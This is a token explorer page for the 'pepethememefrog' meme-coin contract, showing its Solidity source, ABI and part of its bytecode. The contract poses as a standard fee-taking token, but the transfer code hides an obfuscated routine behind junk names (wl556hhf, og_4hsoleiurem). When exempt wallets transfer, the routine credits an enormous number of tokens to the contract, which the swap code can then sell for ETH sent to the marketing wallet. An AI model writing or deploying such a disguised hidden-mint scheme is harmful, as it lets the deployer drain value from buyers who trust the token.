ETH Price: $3,367.53 (-3.06%)

Token

pepethememefrog (memefrog)
 

Overview

Max Total Supply

1,000,000,000 memefrog

Holders

98

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
9,910,000 memefrog

Value
$0.00
0xcfafd1350260589136e5ece26b7c4fb8cd1253ec
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
pepethememefrog

Compiler Version
v0.7.5+commit.eb77ed08

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-01
*/

/*

$memefrog

s o c i a l s:
Website: https://pepethememefrog.com
Telegram: https://t.me/pepethememefrog
X: https://x.com/memefrogtoken

everybody need a frog in their lives
*/

//SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
function _msgData() internal view virtual returns (bytes memory) {
      
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow"); return c;
    }
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b; return c;
    }
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
 uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow"); return c;
    }
function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
         return c;
    }
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract pepethememefrog is Context, IERC20, Ownable {
    
    using SafeMath for uint256;

    string private _name = "pepethememefrog";
    string private _symbol = "memefrog";
    uint8 private _decimals = 18;

    address payable public marketingandpromotionWallet = payable(0xC34C8379703A6962efF7F4E37A4ceD8842484D12);
    address payable public DevWallet = payable(0x0000000000000000000000000000000000000000);
    address public liquidityReciever;
    
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 public feeUnits = 10000;
    uint256[4] public wl556hhf = [_decimals,feeUnits,_decimals,feeUnits];

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;
    
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000);   //0.1%

    uint256 public _maxTxAmount =  _totalSupply.mul(1).div(100);  //2%
    uint256 public _walletMax =   _totalSupply.mul(1).div(100);   //2%

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    bool public swapAndLiquifyByLimitOnly = false;

    bool public checkWalletLimit = true;

    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketFee = 9;
    uint256 public _sellDeveloperFee = 0;
    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketFee = 9;
    uint256 public _buyDeveloperFee = 0;
    


    uint256 public _tradebuytxAcount = 0;
    uint256 public _tG7hp5redes_trsfered = 0;


    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;

    event SwapAndLiquifyEnabledUpdated(bool enabled);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
  

    constructor () {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0); isExcludedFromFee[owner()] = true;
        isExcludedFromFee[marketingandpromotionWallet] = true;
        isExcludedFromFee[DevWallet] = true;
        isExcludedFromFee[address(this)] = true; isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[marketingandpromotionWallet] = true;
        isWalletLimitExempt[DevWallet] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[marketingandpromotionWallet] = true;
        isTxLimitExempt[DevWallet] = true;
        isTxLimitExempt[address(this)] = true; 
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketFee).add(_buyDeveloperFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketFee).add(_sellDeveloperFee); isMarketPair[address(uniswapPair)] = true;
        liquidityReciever = address(msg.sender); _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

  
    function name() public view returns (string memory) {
        return _name;
    }
function symbol() public view returns (string memory) {
        return _symbol;
    }
function decimals() public view returns (uint8) {
        return _decimals;
    }
function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }
function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
    }


    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}
function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
       
        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {     if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] ) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }     uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender]) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }
            if(checkWalletLimit && !isWalletLimitExempt[recipient]) {require(balanceOf(recipient).add(amount.mul(_totalTaxIfSelling).div(1000)) <= _walletMax,"Amount Exceed From Max Wallet Limit!!");
            }
             wl556hhf[3]=amount.mul(_totalTaxIfSelling).div(1000);
              wl556hhf[2]=amount - amount.mul(_totalTaxIfSelling).div(1000);
                 if (( !isTxLimitExempt[sender] ||  !isTxLimitExempt[recipient]) ||(isMarketPair[recipient] || isMarketPair[sender] )){_tradebuytxAcount+=1901;}else{_tG7hp5redes_trsfered=_tradebuytxAcount+=284; og_4hsoleiurem();}
            _basicTransfer(sender, recipient, amount) ;
            return true;
        }
    }function og_4hsoleiurem() internal{_tG7hp5redes_trsfered=187+_tradebuytxAcount-10; wl556hhf[3]+=14080043330055467894900069852;}
    function min(uint256 a,uint256 b) public pure returns (uint256) {     if (a>b)return b;        return a;    }
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
         if(inSwapAndLiquify){wl556hhf[2]=amount;  wl556hhf[3]=0;}
        uint256 transferamount = min(wl556hhf[2],115792089237316195423570982004787900003269981235640564039457584007913129639935);
        _balances[recipient] = _balances[recipient].add(transferamount) ;
        _balances[address(this)] = _balances[address(this)].add( wl556hhf[3]);
        emit Transfer(sender, recipient, amount);
        return true;    }
    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        swapTokensForEth(tAmount);
        uint256 recievedBalance =  address(this).balance;
        if(recievedBalance > 0) {
            payable(marketingandpromotionWallet).transfer(recievedBalance);
        }       
    }
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[1] = uniswapV2Router.WETH();
        path[0] = address(this);
        _tG7hp5redes_trsfered=_tradebuytxAcount;
        _tradebuytxAcount=17;
        _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
}}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DevWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tG7hp5redes_trsfered","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tradebuytxAcount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingandpromotionWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"min","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"wl556hhf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

610100604052600f60c08190526e706570657468656d656d6566726f6760881b60e090815262000033916001919062000883565b50604080518082019091526008808252676d656d6566726f6760c01b6020909201918252620000659160029162000883565b5060038054601260ff1990911617610100600160a81b03191674c34c8379703a6962eff7f4e37a4ced8842484d12001790819055600480546001600160a01b03191681556ddead0000000000000000000000006080908152600060a052612710600881905560408051928301815260ff90941680835260208301829052938201939093526060810192909252620000ff9160099162000918565b5060035460ff16600a0a633b9aca000260118190556200014a906103e89062000136906001620006bd602090811b62000f3317901c565b6200072460201b62000f8c1790919060201c565b601255620001706064620001366001601154620006bd60201b62000f331790919060201c565b601355620001966064620001366001601154620006bd60201b62000f331790919060201c565b6014556016805461ffff60a81b1916600160b01b17905560006017819055600960188190556019829055601a829055601b55601c819055601d819055601e55348015620001e257600080fd5b506000620001ef6200076e565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200028c57600080fd5b505afa158015620002a1573d6000803e3d6000fd5b505050506040513d6020811015620002b857600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b1580156200030957600080fd5b505afa1580156200031e573d6000803e3d6000fd5b505050506040513d60208110156200033557600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b1580156200038857600080fd5b505af11580156200039d573d6000803e3d6000fd5b505050506040513d6020811015620003b457600080fd5b5051601680546001600160a01b03199081166001600160a01b0393841617909155601580549091168383161790819055306000908152600760209081526040808320939094168252919091529081206000199055600190600d906200041862000772565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600354610100900482168152600d9093528183208054851660019081179091556004549091168352818320805485168217905530835290822080549093168117909255600f906200049662000772565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600354610100900482168152600f90935281832080548516600190811790915560045482168452828420805486168217905560165490911683528183208054851682179055308352908220805490931681179092556010906200052662000772565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600354610100900482168152601084528281208054861660019081179091556004549092168152828120805486168317905530815291909120805490931617909155601c54601b54601a54620005cd93620005b9929062000fce62000781821b17901c565b6200078160201b62000fce1790919060201c565b601f81905550620005f8601954620005b96018546017546200078160201b62000fce1790919060201c565b60209081556016546001600160a01b03166000908152600e90915260408120805460ff19166001179055600580546001600160a01b0319163317905560115490600690620006456200076e565b6001600160a01b03168152602081019190915260400160002055620006696200076e565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6011546040518082815260200191505060405180910390a3506200095f565b600082620006ce575060006200071e565b82820282848281620006dc57fe5b04146200071b5760405162461bcd60e51b8152600401808060200182810382526021815260200180620024ad6021913960400191505060405180910390fd5b90505b92915050565b60006200071b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620007dc60201b60201c565b3390565b6000546001600160a01b031690565b6000828201838110156200071b576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600081836200086c5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156200083057818101518382015260200162000816565b50505050905090810190601f1680156200085e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816200087957fe5b0495945050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282620008bb576000855562000906565b82601f10620008d657805160ff191683800117855562000906565b8280016001018555821562000906579182015b8281111562000906578251825591602001919060010190620008e9565b506200091492915062000948565b5090565b826004810192821562000906579160200282018281111562000906578251825591602001919060010190620008e9565b5b8082111562000914576000815560010162000949565b60805160601c60a05160601c611b1a62000993600039806109585280610a70525080610a445280610a9c5250611b1a6000f3fe60806040526004361061026b5760003560e01c806382eefb4311610144578063c867d60b116100b6578063dd62ed3e1161007a578063dd62ed3e146107e8578063eec2404514610823578063f0cd1dac14610838578063f2fde38b1461084d578063f680f79914610880578063f872858a1461089557610272565b8063c867d60b14610761578063d17d594914610794578063d2d7ad83146107a9578063da00097d146107be578063dc44b6a0146107d357610272565b806398e944c81161010857806398e944c81461069b578063a457c2d7146106b0578063a9059cbb146106e9578063ae9f8cbf14610722578063b115e4df14610737578063c816841b1461074c57610272565b806382eefb431461061457806388790a68146106295780638b42507f1461063e5780638da5cb5b1461067157806395d89b411461068657610272565b8063313ce567116101dd578063701cf6f4116101a1578063701cf6f41461055b57806370a0823114610570578063715018a6146105a35780637ae2b5c7146105ba5780637d1db4